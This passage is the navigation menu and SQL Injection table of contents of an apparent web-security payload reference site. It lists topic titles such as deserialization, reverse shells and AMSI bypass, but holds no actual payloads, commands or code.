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<label class="md-nav__link" for="__nav_10" id="__nav_10_label" tabindex="0">
<span class="md-ellipsis">
CRLF Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_10_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_10">
<span class="md-nav__icon md-icon"></span>
CRLF Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../CRLF%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Carriage Return Line Feed
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_11" >
<label class="md-nav__link" for="__nav_11" id="__nav_11_label" tabindex="0">
<span class="md-ellipsis">
CSRF Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_11_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_11">
<span class="md-nav__icon md-icon"></span>
CSRF Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../CSRF%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Cross-Site Request Forgery
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_12" >
<label class="md-nav__link" for="__nav_12" id="__nav_12_label" tabindex="0">
<span class="md-ellipsis">
CSV Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_12_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_12">
<span class="md-nav__icon md-icon"></span>
CSV Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../CSV%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
CSV Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_13" >
<label class="md-nav__link" for="__nav_13" id="__nav_13_label" tabindex="0">
<span class="md-ellipsis">
CVE Exploits
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_13_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_13">
<span class="md-nav__icon md-icon"></span>
CVE Exploits
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../CVE%20Exploits/" class="md-nav__link">
<span class="md-ellipsis">
Common Vulnerabilities and Exposures
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../CVE%20Exploits/Log4Shell/" class="md-nav__link">
<span class="md-ellipsis">
CVE-2021-44228 Log4Shell
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_14" >
<label class="md-nav__link" for="__nav_14" id="__nav_14_label" tabindex="0">
<span class="md-ellipsis">
Clickjacking
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_14_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_14">
<span class="md-nav__icon md-icon"></span>
Clickjacking
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Clickjacking/" class="md-nav__link">
<span class="md-ellipsis">
Clickjacking: Web Application Security Vulnerability
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_15" >
<label class="md-nav__link" for="__nav_15" id="__nav_15_label" tabindex="0">
<span class="md-ellipsis">
Command Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_15_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_15">
<span class="md-nav__icon md-icon"></span>
Command Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Command%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Command Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_16" >
<label class="md-nav__link" for="__nav_16" id="__nav_16_label" tabindex="0">
<span class="md-ellipsis">
DNS Rebinding
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_16_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_16">
<span class="md-nav__icon md-icon"></span>
DNS Rebinding
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../DNS%20Rebinding/" class="md-nav__link">
<span class="md-ellipsis">
DNS Rebinding
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_17" >
<label class="md-nav__link" for="__nav_17" id="__nav_17_label" tabindex="0">
<span class="md-ellipsis">
Dependency Confusion
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_17_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_17">
<span class="md-nav__icon md-icon"></span>
Dependency Confusion
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Dependency%20Confusion/" class="md-nav__link">
<span class="md-ellipsis">
Dependency Confusion
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_18" >
<label class="md-nav__link" for="__nav_18" id="__nav_18_label" tabindex="0">
<span class="md-ellipsis">
Directory Traversal
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_18_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_18">
<span class="md-nav__icon md-icon"></span>
Directory Traversal
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Directory%20Traversal/" class="md-nav__link">
<span class="md-ellipsis">
Directory Traversal
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_19" >
<label class="md-nav__link" for="__nav_19" id="__nav_19_label" tabindex="0">
<span class="md-ellipsis">
Dom Clobbering
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_19_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_19">
<span class="md-nav__icon md-icon"></span>
Dom Clobbering
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Dom%20Clobbering/" class="md-nav__link">
<span class="md-ellipsis">
Dom Clobbering
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_20" >
<label class="md-nav__link" for="__nav_20" id="__nav_20_label" tabindex="0">
<span class="md-ellipsis">
File Inclusion
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_20_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_20">
<span class="md-nav__icon md-icon"></span>
File Inclusion
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../File%20Inclusion/" class="md-nav__link">
<span class="md-ellipsis">
File Inclusion
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_21" >
<label class="md-nav__link" for="__nav_21" id="__nav_21_label" tabindex="0">
<span class="md-ellipsis">
Google Web Toolkit
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_21_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_21">
<span class="md-nav__icon md-icon"></span>
Google Web Toolkit
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Google%20Web%20Toolkit/" class="md-nav__link">
<span class="md-ellipsis">
Google Web Toolkit
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_22" >
<label class="md-nav__link" for="__nav_22" id="__nav_22_label" tabindex="0">
<span class="md-ellipsis">
GraphQL Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_22_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_22">
<span class="md-nav__icon md-icon"></span>
GraphQL Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../GraphQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
GraphQL Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_23" >
<label class="md-nav__link" for="__nav_23" id="__nav_23_label" tabindex="0">
<span class="md-ellipsis">
HTTP Parameter Pollution
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_23_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_23">
<span class="md-nav__icon md-icon"></span>
HTTP Parameter Pollution
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../HTTP%20Parameter%20Pollution/" class="md-nav__link">
<span class="md-ellipsis">
HTTP Parameter Pollution
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_24" >
<label class="md-nav__link" for="__nav_24" id="__nav_24_label" tabindex="0">
<span class="md-ellipsis">
Hidden Parameters
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_24_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_24">
<span class="md-nav__icon md-icon"></span>
Hidden Parameters
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Hidden%20Parameters/" class="md-nav__link">
<span class="md-ellipsis">
HTTP Hidden Parameters
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_25" >
<label class="md-nav__link" for="__nav_25" id="__nav_25_label" tabindex="0">
<span class="md-ellipsis">
Insecure Deserialization
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_25_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_25">
<span class="md-nav__icon md-icon"></span>
Insecure Deserialization
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/DotNET/" class="md-nav__link">
<span class="md-ellipsis">
.NET Serialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/Java/" class="md-nav__link">
<span class="md-ellipsis">
Java Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/Node/" class="md-nav__link">
<span class="md-ellipsis">
Node Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/PHP/" class="md-nav__link">
<span class="md-ellipsis">
PHP Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/Python/" class="md-nav__link">
<span class="md-ellipsis">
Python Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/Ruby/" class="md-nav__link">
<span class="md-ellipsis">
Ruby Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/YAML/" class="md-nav__link">
<span class="md-ellipsis">
YAML Deserialization
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_26" >
<label class="md-nav__link" for="__nav_26" id="__nav_26_label" tabindex="0">
<span class="md-ellipsis">
Insecure Direct Object References
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_26_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_26">
<span class="md-nav__icon md-icon"></span>
Insecure Direct Object References
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Insecure%20Direct%20Object%20References/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Direct Object References
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_27" >
<label class="md-nav__link" for="__nav_27" id="__nav_27_label" tabindex="0">
<span class="md-ellipsis">
Insecure Management Interface
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_27_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_27">
<span class="md-nav__icon md-icon"></span>
Insecure Management Interface
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Insecure%20Management%20Interface/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Management Interface
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_28" >
<label class="md-nav__link" for="__nav_28" id="__nav_28_label" tabindex="0">
<span class="md-ellipsis">
Insecure Randomness
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_28_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_28">
<span class="md-nav__icon md-icon"></span>
Insecure Randomness
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Insecure%20Randomness/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Randomness
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_29" >
<label class="md-nav__link" for="__nav_29" id="__nav_29_label" tabindex="0">
<span class="md-ellipsis">
Insecure Source Code Management
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_29_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_29">
<span class="md-nav__icon md-icon"></span>
Insecure Source Code Management
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Insecure%20Source%20Code%20Management/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Source Code Management
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_30" >
<label class="md-nav__link" for="__nav_30" id="__nav_30_label" tabindex="0">
<span class="md-ellipsis">
JSON Web Token
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_30_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_30">
<span class="md-nav__icon md-icon"></span>
JSON Web Token
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../JSON%20Web%20Token/" class="md-nav__link">
<span class="md-ellipsis">
JWT - JSON Web Token
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_31" >
<label class="md-nav__link" for="__nav_31" id="__nav_31_label" tabindex="0">
<span class="md-ellipsis">
Java RMI
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_31_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_31">
<span class="md-nav__icon md-icon"></span>
Java RMI
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Java%20RMI/" class="md-nav__link">
<span class="md-ellipsis">
Java RMI
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_32" >
<label class="md-nav__link" for="__nav_32" id="__nav_32_label" tabindex="0">
<span class="md-ellipsis">
Kubernetes
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_32_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_32">
<span class="md-nav__icon md-icon"></span>
Kubernetes
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Kubernetes/" class="md-nav__link">
<span class="md-ellipsis">
Kubernetes
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_33" >
<label class="md-nav__link" for="__nav_33" id="__nav_33_label" tabindex="0">
<span class="md-ellipsis">
LDAP Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_33_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_33">
<span class="md-nav__icon md-icon"></span>
LDAP Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../LDAP%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
LDAP Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_34" >
<label class="md-nav__link" for="__nav_34" id="__nav_34_label" tabindex="0">
<span class="md-ellipsis">
LaTeX Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_34_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_34">
<span class="md-nav__icon md-icon"></span>
LaTeX Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
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Mass Assignment
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Mass Assignment
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Methodology and Resources
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Methodology and Resources
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Active Directory Attacks
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Bind Shell
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Cloud - Azure
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<a href="../Methodology%20and%20Resources/Cobalt%20Strike%20-%20Cheatsheet/" class="md-nav__link">
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Cobalt Strike
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Container - Kubernetes
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Application Escape and Breakout
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<a href="../Methodology%20and%20Resources/HTML%20Smuggling/" class="md-nav__link">
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HTML Smuggling
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<a href="../Methodology%20and%20Resources/Hash%20Cracking/" class="md-nav__link">
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Hash Cracking
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Initial Access
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<a href="../Methodology%20and%20Resources/Linux%20-%20Evasion/" class="md-nav__link">
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Linux - Evasion
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<a href="../Methodology%20and%20Resources/Linux%20-%20Persistence/" class="md-nav__link">
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Linux - Persistence
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<a href="../Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation/" class="md-nav__link">
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Linux - Privilege Escalation
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<a href="../Methodology%20and%20Resources/MSSQL%20Server%20-%20Cheatsheet/" class="md-nav__link">
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MSSQL Server
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<a href="../Methodology%20and%20Resources/Metasploit%20-%20Cheatsheet/" class="md-nav__link">
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Metasploit
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Bug Hunting Methodology and Enumeration
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Miscellaneous & Tricks
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<a href="../Methodology%20and%20Resources/Network%20Discovery/" class="md-nav__link">
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Network Discovery
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<a href="../Methodology%20and%20Resources/Network%20Pivoting%20Techniques/" class="md-nav__link">
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Network Pivoting Techniques
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<a href="../Methodology%20and%20Resources/Office%20-%20Attacks/" class="md-nav__link">
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Office - Attacks
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<a href="../Methodology%20and%20Resources/Powershell%20-%20Cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
Powershell
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</li>
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<a href="../Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet/" class="md-nav__link">
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Reverse Shell Cheat Sheet
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Source Code Management & CI/CD Compromise
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<a href="../Methodology%20and%20Resources/Subdomains%20Enumeration/" class="md-nav__link">
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Subdomains Enumeration
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<a href="../Methodology%20and%20Resources/Vulnerability%20Reports/" class="md-nav__link">
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Vulnerability Reports
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<a href="../Methodology%20and%20Resources/Windows%20-%20AMSI%20Bypass/" class="md-nav__link">
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Windows - AMSI Bypass
</span>
</a>
</li>
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<a href="../Methodology%20and%20Resources/Windows%20-%20DPAPI/" class="md-nav__link">
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Windows - DPAPI
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<a href="../Methodology%20and%20Resources/Windows%20-%20Defenses/" class="md-nav__link">
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Windows - Defenses
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<a href="../Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute/" class="md-nav__link">
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Windows - Download and execute methods
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20Mimikatz/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Mimikatz
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20Persistence/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Persistence
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<a href="../Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Privilege Escalation
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20Using%20credentials/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Using credentials
</span>
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<span class="md-ellipsis">
NoSQL Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_37_label" aria-expanded="false">
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NoSQL Injection
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<a href="../NoSQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
NoSQL Injection
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</li>
</ul>
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</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_38" >
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OAuth Misconfiguration
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_38_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_38">
<span class="md-nav__icon md-icon"></span>
OAuth Misconfiguration
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../OAuth%20Misconfiguration/" class="md-nav__link">
<span class="md-ellipsis">
OAuth Misconfiguration
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_39" >
<label class="md-nav__link" for="__nav_39" id="__nav_39_label" tabindex="0">
<span class="md-ellipsis">
Open Redirect
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_39_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_39">
<span class="md-nav__icon md-icon"></span>
Open Redirect
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Open%20Redirect/" class="md-nav__link">
<span class="md-ellipsis">
Open URL Redirection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_40" >
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<span class="md-ellipsis">
Prompt Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_40_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_40">
<span class="md-nav__icon md-icon"></span>
Prompt Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Prompt%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Prompt Injection
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</a>
</li>
</ul>
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Prototype Pollution
</span>
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</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_41_label" aria-expanded="false">
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Prototype Pollution
</label>
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Prototype Pollution
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</li>
</ul>
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Race Condition
</span>
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</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_42_label" aria-expanded="false">
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<span class="md-nav__icon md-icon"></span>
Race Condition
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Race%20Condition/" class="md-nav__link">
<span class="md-ellipsis">
Race Condition
</span>
</a>
</li>
</ul>
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<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_43" >
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<span class="md-ellipsis">
Request Smuggling
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_43_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_43">
<span class="md-nav__icon md-icon"></span>
Request Smuggling
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Request%20Smuggling/" class="md-nav__link">
<span class="md-ellipsis">
Request Smuggling
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_44" >
<label class="md-nav__link" for="__nav_44" id="__nav_44_label" tabindex="0">
<span class="md-ellipsis">
SAML Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_44_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_44">
<span class="md-nav__icon md-icon"></span>
SAML Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../SAML%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
SAML Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--active md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_45" checked>
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<span class="md-ellipsis">
SQL Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_45_label" aria-expanded="true">
<label class="md-nav__title" for="__nav_45">
<span class="md-nav__icon md-icon"></span>
SQL Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item md-nav__item--active">
<input class="md-nav__toggle md-toggle" type="checkbox" id="__toc">
<label class="md-nav__link md-nav__link--active" for="__toc">
<span class="md-ellipsis">
SQL Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<a href="./" class="md-nav__link md-nav__link--active">
<span class="md-ellipsis">
SQL Injection
</span>
</a>
<nav class="md-nav md-nav--secondary" aria-label="Table of contents">
<label class="md-nav__title" for="__toc">
<span class="md-nav__icon md-icon"></span>
Table of contents
</label>
<ul class="md-nav__list" data-md-component="toc" data-md-scrollfix>
<li class="md-nav__item">
<a href="#summary" class="md-nav__link">
<span class="md-ellipsis">
Summary
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#tools" class="md-nav__link">
<span class="md-ellipsis">
Tools
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#entry-point-detection" class="md-nav__link">
<span class="md-ellipsis">
Entry point detection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#dbms-identification" class="md-nav__link">
<span class="md-ellipsis">
DBMS Identification
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#sql-injection-using-sqlmap" class="md-nav__link">
<span class="md-ellipsis">
SQL injection using SQLmap
</span>
</a>
<nav class="md-nav" aria-label="SQL injection using SQLmap">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#basic-arguments-for-sqlmap" class="md-nav__link">
<span class="md-ellipsis">
Basic arguments for SQLmap
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#load-a-request-file-and-use-mobile-user-agent" class="md-nav__link">
<span class="md-ellipsis">
Load a request file and use mobile user-agent
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#custom-injection-in-useragentheaderreferercookie" class="md-nav__link">
<span class="md-ellipsis">
Custom injection in UserAgent/Header/Referer/Cookie
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#second-order-injection" class="md-nav__link">
<span class="md-ellipsis">
Second order injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#shell" class="md-nav__link">
<span class="md-ellipsis">
Shell
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#crawl-a-website-with-sqlmap-and-auto-exploit" class="md-nav__link">
<span class="md-ellipsis">
Crawl a website with SQLmap and auto-exploit
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#using-tor-with-sqlmap" class="md-nav__link">
<span class="md-ellipsis">
Using TOR with SQLmap
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#using-a-proxy-with-sqlmap" class="md-nav__link">
<span class="md-ellipsis">
Using a proxy with SQLmap
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#using-chrome-cookie-and-a-proxy" class="md-nav__link">
<span class="md-ellipsis">
Using Chrome cookie and a Proxy
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#using-suffix-to-tamper-the-injection" class="md-nav__link">
<span class="md-ellipsis">
Using suffix to tamper the injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#general-tamper-option-and-tampers-list" class="md-nav__link">
<span class="md-ellipsis">
General tamper option and tamper's list
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#sqlmap-without-sql-injection" class="md-nav__link">
<span class="md-ellipsis">
SQLmap without SQL injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#authentication-bypass" class="md-nav__link">
<span class="md-ellipsis">
Authentication bypass
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#authentication-bypass-raw-md5-sha1" class="md-nav__link">
<span class="md-ellipsis">
Authentication Bypass (Raw MD5 SHA1)
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#polyglot-injection-multicontext" class="md-nav__link">
<span class="md-ellipsis">
